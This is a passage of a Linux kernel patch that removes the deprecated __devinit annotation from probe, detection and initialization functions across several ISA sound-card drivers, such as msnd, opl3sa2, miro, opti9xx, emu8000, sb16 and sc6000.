-static int __devinit snd_interwave_isa_probe(struct device *pdev,
+static int snd_interwave_isa_probe(struct device *pdev,
 					     unsigned int dev)
 {
 	int err;
@@ -864,7 +864,7 @@ static struct isa_driver snd_interwave_driver = {
 };
 
 #ifdef CONFIG_PNP
-static int __devinit snd_interwave_pnp_detect(struct pnp_card_link *pcard,
+static int snd_interwave_pnp_detect(struct pnp_card_link *pcard,
 					      const struct pnp_card_device_id *pid)
 {
 	static int dev;
diff --git a/sound/isa/msnd/msnd.h b/sound/isa/msnd/msnd.h
index a168ba3..dbac3a4 100644
--- a/sound/isa/msnd/msnd.h
+++ b/sound/isa/msnd/msnd.h
@@ -303,6 +303,6 @@ int snd_msndmidi_new(struct snd_card *card, int device);
 void snd_msndmidi_input_read(void *mpu);
 
 void snd_msndmix_setup(struct snd_msnd *chip);
-int __devinit snd_msndmix_new(struct snd_card *card);
+int snd_msndmix_new(struct snd_card *card);
 int snd_msndmix_force_recsrc(struct snd_msnd *chip, int recsrc);
 #endif /* __MSND_H */
diff --git a/sound/isa/msnd/msnd_pinnacle.c b/sound/isa/msnd/msnd_pinnacle.c
index 93cafbe..75f297e 100644
--- a/sound/isa/msnd/msnd_pinnacle.c
+++ b/sound/isa/msnd/msnd_pinnacle.c
@@ -78,7 +78,7 @@
 #  define LOGNAME			"snd_msnd_pinnacle"
 #endif
 
-static void __devinit set_default_audio_parameters(struct snd_msnd *chip)
+static void set_default_audio_parameters(struct snd_msnd *chip)
 {
 	chip->play_sample_size = DEFSAMPLESIZE;
 	chip->play_sample_rate = DEFSAMPLERATE;
@@ -213,7 +213,7 @@ static int snd_msnd_reset_dsp(long io, unsigned char *info)
 	return -EIO;
 }
 
-static int __devinit snd_msnd_probe(struct snd_card *card)
+static int snd_msnd_probe(struct snd_card *card)
 {
 	struct snd_msnd *chip = card->private_data;
 	unsigned char info;
@@ -497,7 +497,7 @@ static int snd_msnd_send_dsp_cmd_chk(struct snd_msnd *chip, u8 cmd)
 	return snd_msnd_send_dsp_cmd(chip, cmd);
 }
 
-static int __devinit snd_msnd_calibrate_adc(struct snd_msnd *chip, u16 srate)
+static int snd_msnd_calibrate_adc(struct snd_msnd *chip, u16 srate)
 {
 	snd_printdd("snd_msnd_calibrate_adc(%i)\n", srate);
 	writew(srate, chip->SMA + SMA_wCalFreqAtoD);
@@ -535,7 +535,7 @@ static void snd_msnd_mpu401_close(struct snd_mpu401 *mpu)
 static long mpu_io[SNDRV_CARDS] = SNDRV_DEFAULT_PORT;
 static int mpu_irq[SNDRV_CARDS] = SNDRV_DEFAULT_IRQ;
 
-static int __devinit snd_msnd_attach(struct snd_card *card)
+static int snd_msnd_attach(struct snd_card *card)
 {
 	struct snd_msnd *chip = card->private_data;
 	int err;
@@ -649,7 +649,7 @@ static void __devexit snd_msnd_unload(struct snd_card *card)
 
 /* Pinnacle/Fiji Logical Device Configuration */
 
-static int __devinit snd_msnd_write_cfg(int cfg, int reg, int value)
+static int snd_msnd_write_cfg(int cfg, int reg, int value)
 {
 	outb(reg, cfg);
 	outb(value, cfg + 1);
@@ -660,7 +660,7 @@ static int __devinit snd_msnd_write_cfg(int cfg, int reg, int value)
 	return 0;
 }
 
-static int __devinit snd_msnd_write_cfg_io0(int cfg, int num, u16 io)
+static int snd_msnd_write_cfg_io0(int cfg, int num, u16 io)
 {
 	if (snd_msnd_write_cfg(cfg, IREG_LOGDEVICE, num))
 		return -EIO;
@@ -671,7 +671,7 @@ static int __devinit snd_msnd_write_cfg_io0(int cfg, int num, u16 io)
 	return 0;
 }
 
-static int __devinit snd_msnd_write_cfg_io1(int cfg, int num, u16 io)
+static int snd_msnd_write_cfg_io1(int cfg, int num, u16 io)
 {
 	if (snd_msnd_write_cfg(cfg, IREG_LOGDEVICE, num))
 		return -EIO;
@@ -682,7 +682,7 @@ static int __devinit snd_msnd_write_cfg_io1(int cfg, int num, u16 io)
 	return 0;
 }
 
-static int __devinit snd_msnd_write_cfg_irq(int cfg, int num, u16 irq)
+static int snd_msnd_write_cfg_irq(int cfg, int num, u16 irq)
 {
 	if (snd_msnd_write_cfg(cfg, IREG_LOGDEVICE, num))
 		return -EIO;
@@ -693,7 +693,7 @@ static int __devinit snd_msnd_write_cfg_irq(int cfg, int num, u16 irq)
 	return 0;
 }
 
-static int __devinit snd_msnd_write_cfg_mem(int cfg, int num, int mem)
+static int snd_msnd_write_cfg_mem(int cfg, int num, int mem)
 {
 	u16 wmem;
 
@@ -711,7 +711,7 @@ static int __devinit snd_msnd_write_cfg_mem(int cfg, int num, int mem)
 	return 0;
 }
 
-static int __devinit snd_msnd_activate_logical(int cfg, int num)
+static int snd_msnd_activate_logical(int cfg, int num)
 {
 	if (snd_msnd_write_cfg(cfg, IREG_LOGDEVICE, num))
 		return -EIO;
@@ -720,7 +720,7 @@ static int __devinit snd_msnd_activate_logical(int cfg, int num)
 	return 0;
 }
 
-static int __devinit snd_msnd_write_cfg_logical(int cfg, int num, u16 io0,
+static int snd_msnd_write_cfg_logical(int cfg, int num, u16 io0,
 						u16 io1, u16 irq, int mem)
 {
 	if (snd_msnd_write_cfg(cfg, IREG_LOGDEVICE, num))
@@ -738,7 +738,7 @@ static int __devinit snd_msnd_write_cfg_logical(int cfg, int num, u16 io0,
 	return 0;
 }
 
-static int __devinit snd_msnd_pinnacle_cfg_reset(int cfg)
+static int snd_msnd_pinnacle_cfg_reset(int cfg)
 {
 	int i;
 
@@ -818,7 +818,7 @@ module_param_array(joystick_io, long, NULL, S_IRUGO);
 #endif
 
 
-static int __devinit snd_msnd_isa_match(struct device *pdev, unsigned int i)
+static int snd_msnd_isa_match(struct device *pdev, unsigned int i)
 {
 	if (io[i] == SNDRV_AUTO_PORT)
 		return 0;
@@ -888,7 +888,7 @@ static int __devinit snd_msnd_isa_match(struct device *pdev, unsigned int i)
 	return 1;
 }
 
-static int __devinit snd_msnd_isa_probe(struct device *pdev, unsigned int idx)
+static int snd_msnd_isa_probe(struct device *pdev, unsigned int idx)
 {
 	int err;
 	struct snd_card *card;
@@ -1081,7 +1081,7 @@ static struct isa_driver snd_msnd_driver = {
 };
 
 #ifdef CONFIG_PNP
-static int __devinit snd_msnd_pnp_detect(struct pnp_card_link *pcard,
+static int snd_msnd_pnp_detect(struct pnp_card_link *pcard,
 					 const struct pnp_card_device_id *pid)
 {
 	static int idx;
diff --git a/sound/isa/msnd/msnd_pinnacle_mixer.c b/sound/isa/msnd/msnd_pinnacle_mixer.c
index 1de59d4..031dc69 100644
--- a/sound/isa/msnd/msnd_pinnacle_mixer.c
+++ b/sound/isa/msnd/msnd_pinnacle_mixer.c
@@ -302,7 +302,7 @@ DUMMY_VOLUME("Monitor",	0, MSND_MIXER_IMIX),
 };
 
 
-int __devinit snd_msndmix_new(struct snd_card *card)
+int snd_msndmix_new(struct snd_card *card)
 {
 	struct snd_msnd *chip = card->private_data;
 	unsigned int idx;
diff --git a/sound/isa/opl3sa2.c b/sound/isa/opl3sa2.c
index 99855d5..9f71f956 100644
--- a/sound/isa/opl3sa2.c
+++ b/sound/isa/opl3sa2.c
@@ -221,7 +221,7 @@ static void snd_opl3sa2_write(struct snd_opl3sa2 *chip, unsigned char reg, unsig
 	spin_unlock_irqrestore(&chip->reg_lock, flags);
 }
 
-static int __devinit snd_opl3sa2_detect(struct snd_card *card)
+static int snd_opl3sa2_detect(struct snd_card *card)
 {
 	struct snd_opl3sa2 *chip = card->private_data;
 	unsigned long port;
@@ -496,7 +496,7 @@ static void snd_opl3sa2_master_free(struct snd_kcontrol *kcontrol)
 	chip->master_volume = NULL;
 }
 
-static int __devinit snd_opl3sa2_mixer(struct snd_card *card)
+static int snd_opl3sa2_mixer(struct snd_card *card)
 {
 	struct snd_opl3sa2 *chip = card->private_data;
 	struct snd_ctl_elem_id id1, id2;
@@ -596,7 +596,7 @@ static int snd_opl3sa2_resume(struct snd_card *card)
 #endif /* CONFIG_PM */
 
 #ifdef CONFIG_PNP
-static int __devinit snd_opl3sa2_pnp(int dev, struct snd_opl3sa2 *chip,
+static int snd_opl3sa2_pnp(int dev, struct snd_opl3sa2 *chip,
 				     struct pnp_dev *pdev)
 {
 	if (pnp_activate_dev(pdev) < 0) {
@@ -647,7 +647,7 @@ static int snd_opl3sa2_card_new(int dev, struct snd_card **cardp)
 	return 0;
 }
 
-static int __devinit snd_opl3sa2_probe(struct snd_card *card, int dev)
+static int snd_opl3sa2_probe(struct snd_card *card, int dev)
 {
 	int xirq, xdma1, xdma2;
 	struct snd_opl3sa2 *chip;
@@ -721,7 +721,7 @@ static int __devinit snd_opl3sa2_probe(struct snd_card *card, int dev)
 }
 
 #ifdef CONFIG_PNP
-static int __devinit snd_opl3sa2_pnp_detect(struct pnp_dev *pdev,
+static int snd_opl3sa2_pnp_detect(struct pnp_dev *pdev,
 					    const struct pnp_device_id *id)
 {
 	static int dev;
@@ -782,7 +782,7 @@ static struct pnp_driver opl3sa2_pnp_driver = {
 #endif
 };
 
-static int __devinit snd_opl3sa2_pnp_cdetect(struct pnp_card_link *pcard,
+static int snd_opl3sa2_pnp_cdetect(struct pnp_card_link *pcard,
 					     const struct pnp_card_device_id *id)
 {
 	static int dev;
@@ -850,7 +850,7 @@ static struct pnp_card_driver opl3sa2_pnpc_driver = {
 };
 #endif /* CONFIG_PNP */
 
-static int __devinit snd_opl3sa2_isa_match(struct device *pdev,
+static int snd_opl3sa2_isa_match(struct device *pdev,
 					   unsigned int dev)
 {
 	if (!enable[dev])
@@ -878,7 +878,7 @@ static int __devinit snd_opl3sa2_isa_match(struct device *pdev,
 	return 1;
 }
 
-static int __devinit snd_opl3sa2_isa_probe(struct device *pdev,
+static int snd_opl3sa2_isa_probe(struct device *pdev,
 					   unsigned int dev)
 {
 	struct snd_card *card;
diff --git a/sound/isa/opti9xx/miro.c b/sound/isa/opti9xx/miro.c
index cb8c930..25418dd 100644
--- a/sound/isa/opti9xx/miro.c
+++ b/sound/isa/opti9xx/miro.c
@@ -670,7 +670,7 @@ static unsigned char aci_init_values[][2] __devinitdata = {
 	{ ACI_SET_MASTER + 1, 0x20 },
 };
 
-static int __devinit snd_set_aci_init_values(struct snd_miro *miro)
+static int snd_set_aci_init_values(struct snd_miro *miro)
 {
 	int idx, error;
 	struct snd_miro_aci *aci = miro->aci;
@@ -713,7 +713,7 @@ static int __devinit snd_set_aci_init_values(struct snd_miro *miro)
 	return 0;
 }
 
-static int __devinit snd_miro_mixer(struct snd_card *card,
+static int snd_miro_mixer(struct snd_card *card,
 				    struct snd_miro *miro)
 {
 	unsigned int idx;
@@ -771,7 +771,7 @@ static int __devinit snd_miro_mixer(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit snd_miro_init(struct snd_miro *chip,
+static int snd_miro_init(struct snd_miro *chip,
 				   unsigned short hardware)
 {
 	static int opti9xx_mc_size[] = {7, 7, 10, 10, 2, 2, 2};
@@ -989,7 +989,7 @@ static void snd_miro_proc_read(struct snd_info_entry * entry,
 	snd_iprintf(buffer, "  preamp  : 0x%x\n", aci->aci_preamp);
 }
 
-static void __devinit snd_miro_proc_init(struct snd_card *card,
+static void snd_miro_proc_init(struct snd_card *card,
 					 struct snd_miro *miro)
 {
 	struct snd_info_entry *entry;
@@ -1002,7 +1002,7 @@ static void __devinit snd_miro_proc_init(struct snd_card *card,
  *  Init
  */
 
-static int __devinit snd_miro_configure(struct snd_miro *chip)
+static int snd_miro_configure(struct snd_miro *chip)
 {
 	unsigned char wss_base_bits;
 	unsigned char irq_bits;
@@ -1162,7 +1162,7 @@ __skip_mpu:
 	return 0;
 }
 
-static int __devinit snd_miro_opti_check(struct snd_miro *chip)
+static int snd_miro_opti_check(struct snd_miro *chip)
 {
 	unsigned char value;
 
@@ -1182,7 +1182,7 @@ static int __devinit snd_miro_opti_check(struct snd_miro *chip)
 	return -ENODEV;
 }
 
-static int __devinit snd_card_miro_detect(struct snd_card *card,
+static int snd_card_miro_detect(struct snd_card *card,
 					  struct snd_miro *chip)
 {
 	int i, err;
@@ -1200,7 +1200,7 @@ static int __devinit snd_card_miro_detect(struct snd_card *card,
 	return -ENODEV;
 }
 
-static int __devinit snd_card_miro_aci_detect(struct snd_card *card,
+static int snd_card_miro_aci_detect(struct snd_card *card,
 					      struct snd_miro *miro)
 {
 	unsigned char regval;
@@ -1265,7 +1265,7 @@ static void snd_card_miro_free(struct snd_card *card)
 	release_and_free_resource(miro->res_mc_base);
 }
 
-static int __devinit snd_miro_probe(struct snd_card *card)
+static int snd_miro_probe(struct snd_card *card)
 {
 	int error;
 	struct snd_miro *miro = card->private_data;
@@ -1386,7 +1386,7 @@ static int __devinit snd_miro_probe(struct snd_card *card)
 	return snd_card_register(card);
 }
 
-static int __devinit snd_miro_isa_match(struct device *devptr, unsigned int n)
+static int snd_miro_isa_match(struct device *devptr, unsigned int n)
 {
 #ifdef CONFIG_PNP
 	if (snd_miro_pnp_is_probed)
@@ -1397,7 +1397,7 @@ static int __devinit snd_miro_isa_match(struct device *devptr, unsigned int n)
 	return 1;
 }
 
-static int __devinit snd_miro_isa_probe(struct device *devptr, unsigned int n)
+static int snd_miro_isa_probe(struct device *devptr, unsigned int n)
 {
 	static long possible_ports[] = {0x530, 0xe80, 0xf40, 0x604, -1};
 	static long possible_mpu_ports[] = {0x330, 0x300, 0x310, 0x320, -1};
@@ -1513,7 +1513,7 @@ static struct isa_driver snd_miro_driver = {
 
 #ifdef CONFIG_PNP
 
-static int __devinit snd_card_miro_pnp(struct snd_miro *chip,
+static int snd_card_miro_pnp(struct snd_miro *chip,
 					struct pnp_card_link *card,
 					const struct pnp_card_device_id *pid)
 {
@@ -1574,7 +1574,7 @@ static int __devinit snd_card_miro_pnp(struct snd_miro *chip,
 	return 0;
 }
 
-static int __devinit snd_miro_pnp_probe(struct pnp_card_link *pcard,
+static int snd_miro_pnp_probe(struct pnp_card_link *pcard,
 					const struct pnp_card_device_id *pid)
 {
 	struct snd_card *card;
diff --git a/sound/isa/opti9xx/opti92x-ad1848.c b/sound/isa/opti9xx/opti92x-ad1848.c
index 72b1769..4a0d193 100644
--- a/sound/isa/opti9xx/opti92x-ad1848.c
+++ b/sound/isa/opti9xx/opti92x-ad1848.c
@@ -186,7 +186,7 @@ static char * snd_opti9xx_names[] = {
 	"82C930",	"82C931",	"82C933"
 };
 
-static int __devinit snd_opti9xx_init(struct snd_opti9xx *chip,
+static int snd_opti9xx_init(struct snd_opti9xx *chip,
 				      unsigned short hardware)
 {
 	static int opti9xx_mc_size[] = {7, 7, 10, 10, 2, 2, 2};
@@ -593,7 +593,7 @@ WSS_DOUBLE_TLV("Aux Playback Volume", 0,
 		db_scale_4bit_12db_max),
 };
 
-static int __devinit snd_opti93x_mixer(struct snd_wss *chip)
+static int snd_opti93x_mixer(struct snd_wss *chip)
 {
 	struct snd_card *card;
 	unsigned int idx;
@@ -666,7 +666,7 @@ static irqreturn_t snd_opti93x_interrupt(int irq, void *dev_id)
 
 #endif /* OPTi93X */
 
-static int __devinit snd_opti9xx_read_check(struct snd_opti9xx *chip)
+static int snd_opti9xx_read_check(struct snd_opti9xx *chip)
 {
 	unsigned char value;
 #ifdef OPTi93X
@@ -707,7 +707,7 @@ static int __devinit snd_opti9xx_read_check(struct snd_opti9xx *chip)
 	return -ENODEV;
 }
 
-static int __devinit snd_card_opti9xx_detect(struct snd_card *card,
+static int snd_card_opti9xx_detect(struct snd_card *card,
 					     struct snd_opti9xx *chip)
 {
 	int i, err;
@@ -732,7 +732,7 @@ static int __devinit snd_card_opti9xx_detect(struct snd_card *card,
 }
 
 #ifdef CONFIG_PNP
-static int __devinit snd_card_opti9xx_pnp(struct snd_opti9xx *chip,
+static int snd_card_opti9xx_pnp(struct snd_opti9xx *chip,
 					  struct pnp_card_link *card,
 					  const struct pnp_card_device_id *pid)
 {
@@ -817,7 +817,7 @@ static void snd_card_opti9xx_free(struct snd_card *card)
 	}
 }
 
-static int __devinit snd_opti9xx_probe(struct snd_card *card)
+static int snd_opti9xx_probe(struct snd_card *card)
 {
 	static long possible_ports[] = {0x530, 0xe80, 0xf40, 0x604, -1};
 	int error;
@@ -952,7 +952,7 @@ static int snd_opti9xx_card_new(struct snd_card **cardp)
 	return 0;
 }
 
-static int __devinit snd_opti9xx_isa_match(struct device *devptr,
+static int snd_opti9xx_isa_match(struct device *devptr,
 					   unsigned int dev)
 {
 #ifdef CONFIG_PNP
@@ -964,7 +964,7 @@ static int __devinit snd_opti9xx_isa_match(struct device *devptr,
 	return 1;
 }
 
-static int __devinit snd_opti9xx_isa_probe(struct device *devptr,
+static int snd_opti9xx_isa_probe(struct device *devptr,
 					   unsigned int dev)
 {
 	struct snd_card *card;
@@ -1094,7 +1094,7 @@ static struct isa_driver snd_opti9xx_driver = {
 };
 
 #ifdef CONFIG_PNP
-static int __devinit snd_opti9xx_pnp_probe(struct pnp_card_link *pcard,
+static int snd_opti9xx_pnp_probe(struct pnp_card_link *pcard,
 					   const struct pnp_card_device_id *pid)
 {
 	struct snd_card *card;
diff --git a/sound/isa/sb/emu8000.c b/sound/isa/sb/emu8000.c
index 2aae6a0..3456c92 100644
--- a/sound/isa/sb/emu8000.c
+++ b/sound/isa/sb/emu8000.c
@@ -131,8 +131,7 @@ snd_emu8000_dma_chan(struct snd_emu8000 *emu, int ch, int mode)
 
 /*
  */
-static void __devinit
-snd_emu8000_read_wait(struct snd_emu8000 *emu)
+static void snd_emu8000_read_wait(struct snd_emu8000 *emu)
 {
 	while ((EMU8000_SMALR_READ(emu) & 0x80000000) != 0) {
 		schedule_timeout_interruptible(1);
@@ -143,8 +142,7 @@ snd_emu8000_read_wait(struct snd_emu8000 *emu)
 
 /*
  */
-static void __devinit
-snd_emu8000_write_wait(struct snd_emu8000 *emu)
+static void snd_emu8000_write_wait(struct snd_emu8000 *emu)
 {
 	while ((EMU8000_SMALW_READ(emu) & 0x80000000) != 0) {
 		schedule_timeout_interruptible(1);
@@ -156,8 +154,7 @@ snd_emu8000_write_wait(struct snd_emu8000 *emu)
 /*
  * detect a card at the given port
  */
-static int __devinit
-snd_emu8000_detect(struct snd_emu8000 *emu)
+static int snd_emu8000_detect(struct snd_emu8000 *emu)
 {
 	/* Initialise */
 	EMU8000_HWCF1_WRITE(emu, 0x0059);
@@ -182,8 +179,7 @@ snd_emu8000_detect(struct snd_emu8000 *emu)
 /*
  * intiailize audio channels
  */
-static void __devinit
-init_audio(struct snd_emu8000 *emu)
+static void init_audio(struct snd_emu8000 *emu)
 {
 	int ch;
 
@@ -223,8 +219,7 @@ init_audio(struct snd_emu8000 *emu)
 /*
  * initialize DMA address
  */
-static void __devinit
-init_dma(struct snd_emu8000 *emu)
+static void init_dma(struct snd_emu8000 *emu)
 {
 	EMU8000_SMALR_WRITE(emu, 0);
 	EMU8000_SMARR_WRITE(emu, 0);
@@ -327,8 +322,7 @@ static unsigned short init4[128] /*__devinitdata*/ = {
  * Taken from the oss driver, not obvious from the doc how this
  * is meant to work
  */
-static void __devinit
-send_array(struct snd_emu8000 *emu, unsigned short *data, int size)
+static void send_array(struct snd_emu8000 *emu, unsigned short *data, int size)
 {
 	int i;
 	unsigned short *p;
@@ -349,8 +343,7 @@ send_array(struct snd_emu8000 *emu, unsigned short *data, int size)
  * Send initialization arrays to start up, this just follows the
  * initialisation sequence in the adip.
  */
-static void __devinit
-init_arrays(struct snd_emu8000 *emu)
+static void init_arrays(struct snd_emu8000 *emu)
 {
 	send_array(emu, init1, ARRAY_SIZE(init1)/4);
 
@@ -375,8 +368,7 @@ init_arrays(struct snd_emu8000 *emu)
  * seems that the only way to do this is to use the one channel and keep
  * reallocating between read and write.
  */
-static void __devinit
-size_dram(struct snd_emu8000 *emu)
+static void size_dram(struct snd_emu8000 *emu)
 {
 	int i, size, detected_size;
 
@@ -512,8 +504,7 @@ snd_emu8000_init_fm(struct snd_emu8000 *emu)
 /*
  * The main initialization routine.
  */
-static void __devinit
-snd_emu8000_init_hw(struct snd_emu8000 *emu)
+static void snd_emu8000_init_hw(struct snd_emu8000 *emu)
 {
 	int i;
 
@@ -1031,8 +1022,7 @@ static struct snd_kcontrol_new *mixer_defs[EMU8000_NUM_CONTROLS] = {
 /*
  * create and attach mixer elements for WaveTable treble/bass controls
  */
-static int __devinit
-snd_emu8000_create_mixer(struct snd_card *card, struct snd_emu8000 *emu)
+static int snd_emu8000_create_mixer(struct snd_card *card, struct snd_emu8000 *emu)
 {
 	int i, err = 0;
 
@@ -1082,8 +1072,7 @@ static int snd_emu8000_dev_free(struct snd_device *device)
 /*
  * initialize and register emu8000 synth device.
  */
-int __devinit
-snd_emu8000_new(struct snd_card *card, int index, long port, int seq_ports,
+int snd_emu8000_new(struct snd_card *card, int index, long port, int seq_ports,
 		struct snd_seq_device **awe_ret)
 {
 	struct snd_seq_device *awe;
diff --git a/sound/isa/sb/jazz16.c b/sound/isa/sb/jazz16.c
index 529f175..5bc42fe 100644
--- a/sound/isa/sb/jazz16.c
+++ b/sound/isa/sb/jazz16.c
@@ -78,7 +78,7 @@ static irqreturn_t jazz16_interrupt(int irq, void *chip)
 	return snd_sb8dsp_interrupt(chip);
 }
 
-static int __devinit jazz16_configure_ports(unsigned long port,
+static int jazz16_configure_ports(unsigned long port,
 					    unsigned long mpu_port, int idx)
 {
 	unsigned char val;
@@ -99,7 +99,7 @@ static int __devinit jazz16_configure_ports(unsigned long port,
 	return 0;
 }
 
-static int __devinit jazz16_detect_board(unsigned long port,
+static int jazz16_detect_board(unsigned long port,
 					 unsigned long mpu_port)
 {
 	int err;
@@ -156,7 +156,7 @@ err_unmap:
 	return err;
 }
 
-static int __devinit jazz16_configure_board(struct snd_sb *chip, int mpu_irq)
+static int jazz16_configure_board(struct snd_sb *chip, int mpu_irq)
 {
 	static unsigned char jazz_irq_bits[] = { 0, 0, 2, 3, 0, 1, 0, 4,
 						 0, 2, 5, 0, 0, 0, 0, 6 };
@@ -183,7 +183,7 @@ static int __devinit jazz16_configure_board(struct snd_sb *chip, int mpu_irq)
 	return 0;
 }
 
-static int __devinit snd_jazz16_match(struct device *devptr, unsigned int dev)
+static int snd_jazz16_match(struct device *devptr, unsigned int dev)
 {
 	if (!enable[dev])
 		return 0;
@@ -218,7 +218,7 @@ static int __devinit snd_jazz16_match(struct device *devptr, unsigned int dev)
 	return 1;
 }
 
-static int __devinit snd_jazz16_probe(struct device *devptr, unsigned int dev)
+static int snd_jazz16_probe(struct device *devptr, unsigned int dev)
 {
 	struct snd_card *card;
 	struct snd_card_jazz16 *jazz16;
diff --git a/sound/isa/sb/sb16.c b/sound/isa/sb/sb16.c
index bb8a688..fcb14b8 100644
--- a/sound/isa/sb/sb16.c
+++ b/sound/isa/sb/sb16.c
@@ -250,7 +250,7 @@ MODULE_DEVICE_TABLE(pnp_card, snd_sb16_pnpids);
 
 #ifdef CONFIG_PNP
 
-static int __devinit snd_card_sb16_pnp(int dev, struct snd_card_sb16 *acard,
+static int snd_card_sb16_pnp(int dev, struct snd_card_sb16 *acard,
 				       struct pnp_card_link *card,
 				       const struct pnp_card_device_id *id)
 {
@@ -337,7 +337,7 @@ static int snd_sb16_card_new(int dev, struct snd_card **cardp)
 	return 0;
 }
 
-static int __devinit snd_sb16_probe(struct snd_card *card, int dev)
+static int snd_sb16_probe(struct snd_card *card, int dev)
 {
 	int xirq, xdma8, xdma16;
 	struct snd_sb *chip;
@@ -487,7 +487,7 @@ static int snd_sb16_resume(struct snd_card *card)
 }
 #endif
 
-static int __devinit snd_sb16_isa_probe1(int dev, struct device *pdev)
+static int snd_sb16_isa_probe1(int dev, struct device *pdev)
 {
 	struct snd_card_sb16 *acard;
 	struct snd_card *card;
@@ -517,12 +517,12 @@ static int __devinit snd_sb16_isa_probe1(int dev, struct device *pdev)
 }
 
 
-static int __devinit snd_sb16_isa_match(struct device *pdev, unsigned int dev)
+static int snd_sb16_isa_match(struct device *pdev, unsigned int dev)
 {
 	return enable[dev] && !is_isapnp_selected(dev);
 }
 
-static int __devinit snd_sb16_isa_probe(struct device *pdev, unsigned int dev)
+static int snd_sb16_isa_probe(struct device *pdev, unsigned int dev)
 {
 	int err;
 	static int possible_irqs[] = {5, 9, 10, 7, -1};
@@ -604,7 +604,7 @@ static struct isa_driver snd_sb16_isa_driver = {
 
 
 #ifdef CONFIG_PNP
-static int __devinit snd_sb16_pnp_detect(struct pnp_card_link *pcard,
+static int snd_sb16_pnp_detect(struct pnp_card_link *pcard,
 					 const struct pnp_card_device_id *pid)
 {
 	static int dev;
diff --git a/sound/isa/sb/sb8.c b/sound/isa/sb/sb8.c
index 0cc9a9a..69aa275 100644
--- a/sound/isa/sb/sb8.c
+++ b/sound/isa/sb/sb8.c
@@ -79,7 +79,7 @@ static void snd_sb8_free(struct snd_card *card)
 	release_and_free_resource(acard->fm_res);
 }
 
-static int __devinit snd_sb8_match(struct device *pdev, unsigned int dev)
+static int snd_sb8_match(struct device *pdev, unsigned int dev)
 {
 	if (!enable[dev])
 		return 0;
@@ -94,7 +94,7 @@ static int __devinit snd_sb8_match(struct device *pdev, unsigned int dev)
 	return 1;
 }
 
-static int __devinit snd_sb8_probe(struct device *pdev, unsigned int dev)
+static int snd_sb8_probe(struct device *pdev, unsigned int dev)
 {
 	struct snd_sb *chip;
 	struct snd_card *card;
diff --git a/sound/isa/sc6000.c b/sound/isa/sc6000.c
index 57266de..486da56 100644
--- a/sound/isa/sc6000.c
+++ b/sound/isa/sc6000.c
@@ -121,7 +121,7 @@ MODULE_PARM_DESC(joystick, "Enable gameport.");
 /*
  * sc6000_irq_to_softcfg - Decode irq number into cfg code.
  */
-static __devinit unsigned char sc6000_irq_to_softcfg(int irq)
+static unsigned char sc6000_irq_to_softcfg(int irq)
 {
 	unsigned char val = 0;
 
@@ -150,7 +150,7 @@ static __devinit unsigned char sc6000_irq_to_softcfg(int irq)
 /*
  * sc6000_dma_to_softcfg - Decode dma number into cfg code.
  */
-static __devinit unsigned char sc6000_dma_to_softcfg(int dma)
+static unsigned char sc6000_dma_to_softcfg(int dma)
 {
 	unsigned char val = 0;
 
@@ -173,7 +173,7 @@ static __devinit unsigned char sc6000_dma_to_softcfg(int dma)
 /*
  * sc6000_mpu_irq_to_softcfg - Decode MPU-401 irq number into cfg code.
  */
-static __devinit unsigned char sc6000_mpu_irq_to_softcfg(int mpu_irq)
+static unsigned char sc6000_mpu_irq_to_softcfg(int mpu_irq)
 {
 	unsigned char val = 0;
 
@@ -242,7 +242,7 @@ static int sc6000_write(char __iomem *vport, int cmd)
 	return -EIO;
 }
 
-static int __devinit sc6000_dsp_get_answer(char __iomem *vport, int command,
+static int sc6000_dsp_get_answer(char __iomem *vport, int command,
 					   char *data, int data_len)
 {
 	int len = 0;
@@ -269,7 +269,7 @@ static int __devinit sc6000_dsp_get_answer(char __iomem *vport, int command,
 	return len ? len : -EIO;
 }
 
-static int __devinit sc6000_dsp_reset(char __iomem *vport)
+static int sc6000_dsp_reset(char __iomem *vport)
 {
 	iowrite8(1, vport + DSP_RESET);
 	udelay(10);
@@ -281,7 +281,7 @@ static int __devinit sc6000_dsp_reset(char __iomem *vport)
 }
 
 /* detection and initialization */
-static int __devinit sc6000_hw_cfg_write(char __iomem *vport, const int *cfg)
+static int sc6000_hw_cfg_write(char __iomem *vport, const int *cfg)
 {
 	if (sc6000_write(vport, COMMAND_6C) < 0) {
 		snd_printk(KERN_WARNING "CMD 0x%x: failed!\n", COMMAND_6C);
@@ -345,7 +345,7 @@ static int sc6000_setup_board(char __iomem *vport, int config)
 	return 0;
 }
 
-static int __devinit sc6000_init_mss(char __iomem *vport, int config,
+static int sc6000_init_mss(char __iomem *vport, int config,
 				     char __iomem *vmss_port, int mss_config)
 {
 	if (sc6000_write(vport, DSP_INIT_MSS)) {
@@ -364,7 +364,7 @@ static int __devinit sc6000_init_mss(char __iomem *vport, int config,
 	return 0;
 }
 
-static void __devinit sc6000_hw_cfg_encode(char __iomem *vport, int *cfg,
+static void sc6000_hw_cfg_encode(char __iomem *vport, int *cfg,
 					   long xport, long xmpu,
 					   long xmss_port, int joystick)
 {
@@ -386,7 +386,7 @@ static void __devinit sc6000_hw_cfg_encode(char __iomem *vport, int *cfg,
 	snd_printd("hw cfg %x, %x\n", cfg[0], cfg[1]);
 }
 
-static int __devinit sc6000_init_board(char __iomem *vport,
+static int sc6000_init_board(char __iomem *vport,
 					char __iomem *vmss_port, int dev)
 {
 	char answer[15];
@@ -467,7 +467,7 @@ static int __devinit sc6000_init_board(char __iomem *vport,
 	return 0;
 }
 
-static int __devinit snd_sc6000_mixer(struct snd_wss *chip)
+static int snd_sc6000_mixer(struct snd_wss *chip)
 {
 	struct snd_card *card = chip->card;
 	struct snd_ctl_elem_id id1, id2;
@@ -502,7 +502,7 @@ static int __devinit snd_sc6000_mixer(struct snd_wss *chip)
 	return 0;
 }
 
-static int __devinit snd_sc6000_match(struct device *devptr, unsigned int dev)
+static int snd_sc6000_match(struct device *devptr, unsigned int dev)
 {
 	if (!enable[dev])
 		return 0;
@@ -545,7 +545,7 @@ static int __devinit snd_sc6000_match(struct device *devptr, unsigned int dev)
 	return 1;
 }
 
-static int __devinit snd_sc6000_probe(struct device *devptr, unsigned int dev)
+static int snd_sc6000_probe(struct device *devptr, unsigned int dev)
 {
 	static int possible_irqs[] = { 5, 7, 9, 10, 11, -1 };
 	static int possible_dmas[] = { 1, 3, 0, -1 };
diff --git a/sound/isa/sscape.c b/sound/isa/sscape.c
index eb8fe7f..0b67a79 100644
--- a/sound/isa/sscape.c
+++ b/sound/isa/sscape.c
@@ -683,7 +683,7 @@ static struct snd_kcontrol_new midi_mixer_ctl = {
  * These IRQs are encoded as bit patterns so that they can be
  * written to the control registers.
  */
-static unsigned __devinit get_irq_config(int sscape_type, int irq)
